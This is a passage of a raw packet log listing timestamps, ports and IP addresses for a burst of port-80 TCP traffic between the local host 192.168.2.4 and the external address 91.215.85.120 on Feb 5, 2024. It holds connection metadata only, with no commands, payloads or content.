Feb 5, 2024 10:57:22.472594976 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.472606897 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.472616911 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.472628117 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.472640038 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.472651005 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.472656965 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.472656965 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.472666025 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.472676039 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.472676992 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.472691059 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.472697020 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.472711086 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.472731113 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.472743988 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.472778082 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.472815990 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.472829103 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.472841024 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.472852945 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.472856045 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.472867966 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.472878933 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.472882032 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.472920895 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.472959042 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473124027 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473134995 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473146915 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473157883 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473170042 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473179102 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.473186970 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473196030 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.473198891 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473212004 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473213911 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.473220110 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473232985 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473248959 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473258018 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.473262072 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473275900 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.473277092 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473351955 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.473361015 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473375082 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473388910 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473400116 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473412037 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473412991 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.473427057 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473439932 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473439932 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.473453999 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473469019 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473469019 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.473481894 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473494053 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473504066 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473505020 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.473517895 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473519087 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.473534107 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473545074 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.473545074 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473558903 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473571062 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473582983 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.473587036 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.473613024 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.474313974 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.474328041 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.474339008 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.474349022 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.474361897 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.474364996 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.474375010 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.474389076 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.474397898 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.474401951 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.474414110 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.474437952 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.474461079 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.474570036 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.474581957 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.474592924 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.474605083 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.474617004 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.474617004 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.474632025 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.474636078 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.474651098 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.474656105 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.474698067 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.474735022 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.474747896 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.474759102 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.474771023 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.474780083 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.474783897 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.474797010 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.474803925 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.474812031 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.474826097 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.474838018 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.474844933 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.474849939 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.474863052 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.474896908 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.475982904 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.476035118 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.476048946 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.476083994 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.476109982 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.476191998 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.476203918 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.476217031 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.476226091 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.476228952 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.476242065 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.476243019 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.476257086 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.476270914 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.476300955 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.476367950 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.476403952 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.476417065 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.476438046 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.476461887 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.476476908 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.476492882 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.476495981 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.476506948 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.476526022 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.476531029 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.476545095 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.476577044 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.477624893 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.477673054 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.477674961 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.477686882 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.477711916 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.477724075 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.477730989 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.477744102 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.477771997 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.477801085 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.477818966 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.477830887 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.477840900 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.477871895 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.478128910 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478215933 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478291035 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.478319883 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478338003 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478349924 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478362083 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478373051 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478373051 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.478387117 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478399038 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.478399992 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478414059 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478425026 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478436947 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.478441000 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478454113 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478463888 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478465080 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.478477955 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478483915 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.478493929 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478506088 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478513002 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.478521109 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478534937 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478543997 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.478548050 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478560925 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478569031 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.478585958 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.478609085 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478621960 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478634119 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478645086 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478657007 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478668928 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478681087 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478681087 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.478693008 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478713989 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.478759050 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478774071 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478785992 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478796005 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478806973 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.478811979 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478826046 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478836060 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.478837967 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478851080 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478851080 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.478864908 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478878021 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478882074 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.478890896 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478902102 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478905916 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.478914976 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478926897 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478939056 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478941917 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.478950977 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478962898 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478972912 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.478974104 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478986979 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.478991985 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479000092 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479011059 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479028940 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479036093 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479048967 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479063988 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479079008 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479090929 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479101896 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479111910 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479116917 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479130030 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479156017 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479183912 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479197979 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479208946 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479219913 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479233027 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479238987 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479245901 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479257107 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479259968 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479274035 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479285002 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479294062 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479321003 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479327917 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479341030 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479351044 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479362965 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479372978 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479373932 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479387999 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479389906 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479401112 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479407072 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479415894 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479429960 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479434013 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479443073 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479454994 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479466915 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479479074 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479480028 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479491949 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479504108 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479506969 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479517937 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479526043 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479532957 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479542971 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479547024 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479561090 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479572058 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479574919 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479588032 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479598045 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479602098 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479612112 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479621887 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479625940 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479638100 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479650021 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479659081 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479662895 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479676962 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479687929 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479691029 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479701042 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479711056 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479712963 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479726076 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479727030 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479738951 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479751110 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479763031 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479773045 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479775906 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479788065 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479799986 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479801893 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479813099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479826927 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479839087 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479840994 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479854107 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479863882 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479872942 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479876995 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479891062 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479892015 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479903936 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479907036 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479918003 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479932070 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479940891 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479944944 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479957104 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479969025 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479975939 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.479979992 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.479991913 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480003119 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480005980 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480015993 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480022907 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480029106 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480040073 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480040073 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480053902 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480055094 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480067015 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480077982 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480086088 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480091095 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480103970 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480114937 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480123997 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480125904 CET	80	49735	91.215.85.120	192.168.2.4
